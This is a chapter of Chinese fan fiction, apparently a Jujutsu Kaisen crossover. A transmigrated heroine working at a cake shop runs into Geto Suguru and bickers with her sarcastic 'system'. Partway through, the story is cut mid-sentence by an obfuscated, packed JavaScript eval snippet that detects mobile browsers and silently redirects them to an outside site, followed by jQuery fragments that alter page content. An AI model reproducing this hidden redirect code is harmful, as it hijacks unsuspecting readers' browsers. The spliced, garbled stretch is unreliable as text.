3. 新的主角

作品:《[咒回]被按头沉浸式补番后

    虽然很好奇伏黑惠新交的朋友什么样,但作为一个开明的监护人五条悟决定放手让孩子自由成长,等到什么时候真正有青春期的烦恼再来找他也来得及。


    这绝对不是他着急去国外出差(买限量版巧克力)的借口。


    ……


    “我去打工啦惠君,早餐在桌子上,还有一些烤好的饼干,如果你去学校的话,麻烦帮我带给真希他们。”


    晨练回来的伏黑惠正好看到森岛眠风风火火跑出去。昨天晚上森岛眠跟他说过这件事,虽然有点担心她的身份问题,但看她期待满满的样子,阻止的话也说不出口。


    之前看她玩手机和使用智能家居时仿佛早期人类努力驯服手指的样子,伏黑惠心里有点猜测。她好像不太习惯现代社会的东西,或者说是太长时间没接触过那些东西而显得有点笨拙。


    森岛眠必须要要靠跟人类建立联系才能存于此世,难道是地缚灵?伏黑惠决定去咒术高专的图书馆里查查资料。他看向桌子上分好包装的小饼干,连同自己的那份一起装进包里。


    在去地铁站的路上,他顺便去了一趟森岛眠打工的蛋糕店。


    森岛准备的饼干是五人份的,但高专除了真希学姐他们,还有一个五条悟。如果所有人都有份的东西他没有,那结果一定是除了五条悟以外所有人都吃不到。


    对此,伏黑惠深受其害。


    “欢迎光临,请问您需要点什么。”穿着红色制服的女孩朝他甜甜微笑。


    “一份草莓大福,打包。”


    “啊惠君。”森岛眠看见他有些意外,但很快她就想明白了什么,“放心吧惠君,我五点就下班。”天黑前肯定能到家。


    少年点了点头,“到时候我来接你下班。”


    “哇——”伏黑惠走后,身边的佳子惊呼,“眠酱,那是你男朋友吗!”


    “怎么可能啊佳佳酱,惠君还是未成年,我都已经是成年人了。”


    “听你的语气,还有点遗憾?”


    “不,你听错了————”虚岁二十八的成年人森岛眠连忙否认。


    姐弟恋绝对不可以,她绝对不要再姐弟恋了。


    “哈哈哈,十八号桌的。”


    “好的。”森岛眠接过托盘朝着十八号桌走过去。


    十八号桌在蛋糕店最里面的卡座,那个位置靠橱窗,并且有台阶垫高了一层,视野可以看到整个蛋糕店和周围。


    “夏油大人你在看什么。”


    “嘘,菜菜子你小声点。”妹妹头少女拉住身边的丸子头女孩,“我们等了好半天的大福和巴菲。”


    夏油杰托腮看向服务台里的女孩,“有点眼熟。”他好像在哪里见过。


    “嗯?谁?”菜菜子立马竖起耳朵,眼睛在店里来回扫视,“夏油大人你见到熟人了吗。”


    “要杀掉吗。”美美子小声问。


    顺着夏油杰的视线,菜菜子锁定了拿着托盘走过来的森岛眠,她心下一转伸出了腿。


    端着托盘十分注意脚下台阶的森岛眠稳稳踩了上去,还没等她放下东西就被什么东西绊了一下,整个人向前倾去。


    她用余光瞥到了一截人腿以及前面无动于衷拖着下巴,扣着桌子的手。


    虽然很想把手里的东西扣对方脸上,但考虑到自己现在是卑微打工人,她前倾状态下转动身体,脚下用力一扭调整方向,自己一屁股摔在了地上。


    顾不得自己从尾椎开始往上窜的疼,森岛眠先看了眼自己拍在桌子上的、看样子完好无损的托盘和托盘里的东西,然后看了一眼刚刚伸腿绊她的女孩,最后才看向坐在卡座里一动不动的男人。


    “没事吧,小姐。”


    男人歪着头看向她,“你怎么那么不小心呢。”


    这句话乍一听没什么问题,但结合刚刚伸出的那条腿,还有他居高临下让人看着分外不爽的眼神,至今没有伸出来的手。


    打工人心中的怒火快要燎原。


    有洁癖是吧,行。看我怎么恶心你。


    森岛眠咬了咬后槽牙,随即她咬住嘴唇,盯着男人可怜兮兮道:“抱歉,先生,您能扶我起来吗。”


    森岛眠不知道该怎么形容那一瞬间男人眼里的东西。


    戏谑的、高傲的、厌恶的,杀意里杂糅着复杂的怜悯,怜悯里又有想把人撕碎的凶恶。


    “哈?就你这种猴子也配让夏油大人————”对面的少女张牙舞爪地要向她扑来。


    她就好像未经教育的野兽一样莫名其妙得发怒。


    屁股上的疼痛还没过去森岛眠却已经恍然大悟。


    卡座上的人或许跟她不是一个物种。


    对方把她这种几千年难得一遇的美少女当成了未开化的低等生物。


    “菜菜子。”男人叫住女孩,“别跟他们一般见识。”


    “夏油大人……”女孩不情愿地应下。


    这一声夏油大人让森岛眠跟记忆里的小眼睛斜刘海对上了号,她就说这人怎么长得有点眼熟。


    别告诉她这是夏油杰?!


    森岛眠哆嗦了一下,十一年会让一个人的脑袋坏成这样吗……不行她得确认……


    “你——”


    [快跑啊妹子,这是教主杰,你在干什么吗啊妹子,他会把你当猴杀了的————]


    [快跑啊——————]


    看到弹幕森岛眠惊呆了,这人得坏成什么样,开到最大屏蔽等级都能看到弹幕。


    怕他有什么接触即死的特殊能力,森岛眠自己扶着卡座站了起来。


    “祝你们用餐愉快。”她十分硬气地说了软话。


    呸呸呸,真晦气。


    夏油杰看着森岛眠匆忙离开的背影,若有所思地摸了摸下巴,“奇怪。”


    [他认出我了吗。]


    一上午都在夏油杰的注视下,森岛眠这个班上的无比痛苦。


    系统费劲巴拉的给她安排身份是为了不让这个世界排斥她,认同她身份的人越多她就越自由。


    十一年前离开的时候系统就说过,她会被所有人忘记,回来以后会以另一个人的身份存在,与此同时其他人会想起以前那个森岛眠。


    [那这不是摆明了告诉他们我的身份有问题吗???]


    【谁让这是你离开前的愿望呢。】系统语气里满是幸灾乐祸。


    【放心我会做一定程度的干涉,让他们忘记他们把你忘了。】


    [好家伙你在这套娃呢。]


    [在他们记忆里我是怎么死的。]森岛眠突然想到这个问题。


    【就正常生病死掉的呗。】


    森岛眠沉默,这个死法可真是太普通了。不过她现在完全没心情吐槽,因为某人还在盯着她,目光一点也不带掩饰。


    [夏油杰为什么还不走!!]


    【也许是你刚刚那一下摔的太惊艳了?】


    [滚你。]


    [妈妈我想报警,这里有变态。]


    【清醒点,你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174402|196879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现在应该在中野的墓园里呆着。】


    [你滚……]


    森岛眠有气无力地翻了个白眼,为了避开夏油杰的目光,她将刚进入职场最好不要出风头的经验之谈抛之脑后,去蛋糕房给主厨打了个下手,接着顺理成章地成为了助手。


    明明她是靠脸找到的工作,为什么到最后是靠手艺吃到的饭。


    【这不正是你修炼的意义吗,眠酱。】


    [哈?就你这种统子也配——叫我眠酱吗!]谁都可以但唯独不想被它那么叫的森岛眠学着菜菜子的语气开口。


    【提醒你一下,夏油杰也是主角之一。】


    原本打算躲着对方的森岛眠捏折了手里的钢勺。


    她就不信区区一个夏油杰,难道还能比凉宫春日还可怕?


    想起那噩梦般的15532次循环,森岛眠打了个哆嗦,“我讨厌夏天讨厌八月————”


    得快点解锁身份,想办法发点不义之财才行,如果到了八月还要工作的话实在是太惨了。


    等她从蛋糕房里出来,夏油杰他们已经离开了,森岛眠松了口气。


    “佳佳酱,咱们店里有没有会员名单啊。”


    “有啊怎么啦。”


    “上午送餐的时候我不是摔了一跤吗,那个斜…和尚长的挺……别致。”


    森岛眠忍不住痛苦面具,她实在是没办法违心说对方长的好看。


    “哎?眠酱竟然喜欢那种大叔吗。”


    不!我喜欢清爽的小哥哥!


    “他好像不是店里的会员,但是基本上一个星期会来一次。”


    “好的,如果他下次来,请帮帮我!”森岛眠双手合十。


    【你想怎么做。】


    森岛眠将盘了一天的头发放下来,松了松头皮。伏黑惠已经放学,正在店门口等她。


    “走吧,惠,谢谢你来接我。”


    “饼干好吃吗,下次试试红丝绒蛋糕?”


    “对了,能陪我去趟神社吗,琦玉县武藏神社。”


    “哎——竟然叫冰川神社吗,我记错了哈哈哈。”


    ……


    第二天一早森岛眠来到冰川神社洗手的台子那里,捧起水往脸上和身上拍了几下。


    虽然水里的灵气稀薄但差不多能除去伏黑惠留下的咒力残秽,但凡夏油杰的眼睛还有那么点缝,就应该能看出她身上没有任何咒力外溢。


    这波啊叫勾引,呸叫钓鱼。


    “惠君真的很善良啊。”她忍不住感叹。


    担心她身上的异常被其他咒术师发现于是故意留下了残秽,试图把她伪装成一个正常人。


    【如果不是因为他的这份善良,你不用起那么早来神社参拜。】


    [你这统真的心理阴暗。]森岛眠暗暗鄙视它。


    【你会沦落到今天这种地步完全就是因为你不会拒绝别人的任何、一丁点善意。】


    [你这屁话说的就跟恶意我能拒绝似的。]


    如果她有能耐拒绝,早就让系统该滚哪滚哪去了。


    “我明明只想当个现充。”


    普通的追星,普通的社交,普通的谈恋爱,等东野圭吾写完第一百本小说后约人去滑雪,和朋友一起骂他“呦,畅销书作家,你的滑雪还是写的那么烂。”


    【你先把脚抬起来看看你鞋底死不瞑目的三级咒灵再说这句话。】


    “呦,这就是三级咒灵啊,怎么那么拉——”


    森岛眠扬唇微笑。